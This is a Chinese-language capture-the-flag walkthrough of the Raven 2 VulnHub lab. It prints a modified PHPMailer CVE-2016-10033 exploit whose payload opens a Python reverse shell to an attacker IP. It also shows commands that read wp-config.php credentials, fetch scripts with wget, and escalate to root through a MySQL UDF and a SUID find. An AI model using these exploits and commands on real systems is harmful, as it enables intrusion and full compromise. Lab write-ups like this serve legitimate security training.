Raven: 2靶机入侵

时间:2022-08-28 09:57:48

0x00 前言

Raven 2是一个中等难度的boot2root 虚拟靶机。有四个flag需要找出。在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova

0x01 存活主机

1.windows上的scan ports工具对目标整个网段(192.168.1.0/24)进行扫描发现192.168.1.12就是目标靶机,并开放了8022111端口。

Raven: 2靶机入侵

2.linux下可通过arp-scannetdiscover命令进行主机存活探测,发现192.168.1.101是目标靶机.

root@backlion#arp-scan -l

or

root@backlion#netdiscover  -r192.168.1.0/24

Raven: 2靶机入侵

Raven: 2靶机入侵


0x02 端口探测

1.通过namp对目标主机进行端口扫描

nmap  -A192.168.1.12

Raven: 2靶机入侵

2.发现2280111端口是开放的,其中80端口运行了一个web应用,可以通过入侵web进入系统,爆破22端口由于目标靶机设置的系统口令太强,这里不建议爆破。

Raven: 2靶机入侵

 

0x02  目录猜解 

1.在linux中可以使用dirb进行目录扫描

Raven: 2靶机入侵

 2.同时也可以在windows上通过dirbuster进行目录扫描,更直观地看出目录结构。

Raven: 2靶机入侵

 3.扫到几个一级目录,一个个查看下文件的内容,在/vendor/目录下发现了两个有趣的东西:http://192.168.1.32/vendor/PATH,可以看到flag1和绝对路径

Raven: 2靶机入侵

4.访问http://192.168.1.12/vendor/VERSION,发现某个软件的版本号,但不知道具体是那个软件。

Raven: 2靶机入侵

同时目录下还存在一个PHPMailerAutoload.php的文件,配合起来看应该是使用了5.2.16版本的PHPMailer

 

0x03 反弹SHELL

1.kali上可以直接通过serachsploit进行搜索phpmailer存在漏洞的exp

root@kali2018:~# searchsploit phpmailer

------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

 Exploit Title | Path

                                                                                                                         | (/usr/share/exploitdb/)

------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

PHPMailer 1.7 - 'Data()' Remote Denial of Service | exploits/php/dos/25752.txt

PHPMailer < 5.2.18 - Remote Code Execution (Bash) | exploits/php/webapps/40968.php

PHPMailer < 5.2.18 - Remote Code Execution (PHP) | exploits/php/webapps/40970.php

PHPMailer < 5.2.18 - Remote Code Execution (Python) | exploits/php/webapps/40974.py

PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit) | exploits/multiple/webapps/41688.rb

PHPMailer < 5.2.20 - Remote Code Execution | exploits/php/webapps/40969.pl

PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - 'AIO' 'PwnScriptum' Remote Code Exe | exploits/php/webapps/40986.py

PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution | exploits/php/webapps/42221.py

PHPMailer < 5.2.21 - Local File Disclosure | exploits/php/webapps/43056.py

WordPress PHPMailer 4.6 - Host Header Command Injection (Metasploit) | exploits/php/remote/42024.rb

------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

Shellcodes: No Result

Raven: 2靶机入侵

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /opt

cd /opt

2、也可以到exploit-db.com搜索,并发现利用exp地址:

https://www.exploit-db.com/exploits/40974

Raven: 2靶机入侵

 简单修改一下exp

    a.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。

    b.修改target为靶机IP地址,利用文件为contact.php

    c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功

    d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。

   e.运行该python脚本需要安装对应的包(pip install requests-toolbelt),如下地址下载并手动安装

https://files.pythonhosted.org/packages/86/f9/e80fa23edca6c554f1994040064760c12b51daff54b55f9e379e899cd3d4/requests-toolbelt-0.8.0.tar.gz

Raven: 2靶机入侵

3.最终修改成的POC:

# -*- coding: utf-8 -*-

from requests_toolbelt import MultipartEncoder

import requests

import os

import base64

from lxml import html as lh

os.system('clear')

print("\n")

print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")

print("██╔══██╗████╗██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")

print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")

print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")

print("██║██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")

print("╚═╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝")

print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")

print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://192.168.1.12/contact.php'

backdoor = '/backlion.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.1.11\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'

fields={'action': 'submit',

   'name': payload,

   'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/backlion.php server\" @protonmail.com',

   'message': 'Pwned'}

m = MultipartEncoder(fields=fields,

                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',

         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}

print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')

r = requests.post(target, data=m.to_string(),

 headers=headers)

print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')

r = requests.get(target+backdoor, headers=headers)

if r.status_code == 200:

    print('[+]ExPLoITeD ' + target)

 

然后执行exp,可以看到生成了一个利用用文件contact.php

Raven: 2靶机入侵

6.访问contact.php(http://192.168.1.12/contact.php),此时就会生成后门文件shell.php

Raven: 2靶机入侵

7.接着访问后门文件:http://192.168.1.12/shell.php

Raven: 2靶机入侵

8.开启nc服务器监听,在服务器上得到反弹shell

Raven: 2靶机入侵

9.进入到wordpress目录下的配置文件。然后查看其数据库配置连接信息

cd /var/www/html/wordpress

cat wp-config.php

Raven: 2靶机入侵

Raven: 2靶机入侵

 

10.查看一下mysql的运行权限(可以看到mysql是以root运行,并且也显示了mysqlplugin目录)

 ps -ef|grep mysql

Raven: 2靶机入侵

11.进入mysql数据库终端,可以查看数据库的版本,也可以查看plugin目录

 www-data@Raven:/var/www/html/wordpress$ mysql -u root -pR@v3nSecurity

Raven: 2靶机入侵

12. nc模式下的shell不支持su交互,先利用python提升到伪终端

python -c "import pty;pty.spawn('/bin/bash')"

进入到网站目录页面发现存在flag2.txt
cd /var/www

cat flag2.txt

Raven: 2靶机入侵

13.接下来直接先全局搜flag

www-data@Raven:/var/www/html$ find / -name "flag*"

找到flag3,是图片,直接访问
http://192.168.1.13/wordpress/wp-content/uploads/2018/11/flag3.png

Raven: 2靶机入侵

 

14.然后切换到/tmp目录,下载LinEnum.sh脚本,该脚本是一个用于枚举许多基本和高级linux详细信息的脚本。

cd /tmp

wget http://192.168.1.109/LinEnum.sh

chmod 777 LinEnum.sh

./LinEnum.sh

Raven: 2靶机入侵

我们发现了MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞!(更多信息:https//legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

Raven: 2靶机入侵

15.接着就是利用提权exp的利用了https://www.exploit-db.com/exploits/1518在攻击机KALI主机上进行编译生成so文件

root@kali2018:~# wget http://192.168.1.5/raptor_udf.c          #kali系统必须是64位系统,不然会报错

root@kali2018:~# gcc -g -c raptor_udf.c

root@kali2018:~# gcc -g -shared -o  raptor_udf.so raptor_udf.o -lc

Raven: 2靶机入侵

16.从攻击机上下载提权利用exp文件: raptor_udf2.so

www-data@Raven:/var/www/html/wordpress$ cd /tmp

www-data@Raven:/tmp$ wget http://192.168.1.11:8080/raptor_udf2.so

Raven: 2靶机入侵

然后通过mysql进行UDF提权(执行sql语句,其中dumpfile的路径要根据前面进程列出来的plugin目录(plugin-dir=/usr/lib/mysql/plugin)改动一下)

mysql>  use mysql;

 use mysql;

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

 

Database changed

mysql> create table foo(line blob);

create table foo(line blob);

Query OK, 0 rows affected (0.08 sec)

 

mysql> insert into foo values(load_file('/tmp/raptor_udf.so'));

insert into foo values(load_file('/tmp/raptor_udf.so'));

Query OK, 1 row affected (0.01 sec)

 

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';

Query OK, 1 row affected (0.11 sec)

 

mysql> create function do_system returns integer soname 'raptor_udf.so';

create function do_system returns integer soname 'raptor_udf.so';

Query OK, 0 rows affected (0.00 sec)

 

mysql> select * from mysql.func;

select * from mysql.func;

+-----------+-----+---------------+----------+

| name      | ret | dl            | type     |

+-----------+-----+---------------+----------+

| do_system |   2 | raptor_udf.so | function |

+-----------+-----+---------------+----------+

1 row in set (0.00 sec)

 

mysql> select do_system('chmod u+s /usr/bin/find');

select do_system('chmod u+s /usr/bin/find');

+--------------------------------------+

| do_system('chmod u+s /usr/bin/find') |

+--------------------------------------+

|                                    0 |

+--------------------------------------+

1 row in set (0.01 sec)

 

mysql> exit

exit

Bye

www-data@Raven:/tmp$ touch finn

touch finn

www-data@Raven:/tmp$ id

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@Raven:/tmp$ find finn -exec "/bin/sh" \;

find finn -exec "/bin/sh" \;

# whoami

whoami

root

#

 

Raven: 2靶机入侵

Raven: 2靶机入侵

17.最后进入到root目录,可以查看到falg4.txt

# cd /root

cd /root

# ls

# cat flag4.txt

cat flag4.txt

  ___ ___ ___ 

 | _ \__ ___ _____ _ _ |_ _|_ _|

 | / _` \ V / -_) ' \ | | | | 

 |_|_\__,_|\_/\___|_||_|___|___|

flag4{df2bc5e951d91581467bb9a2a8ff4425}

Raven: 2靶机入侵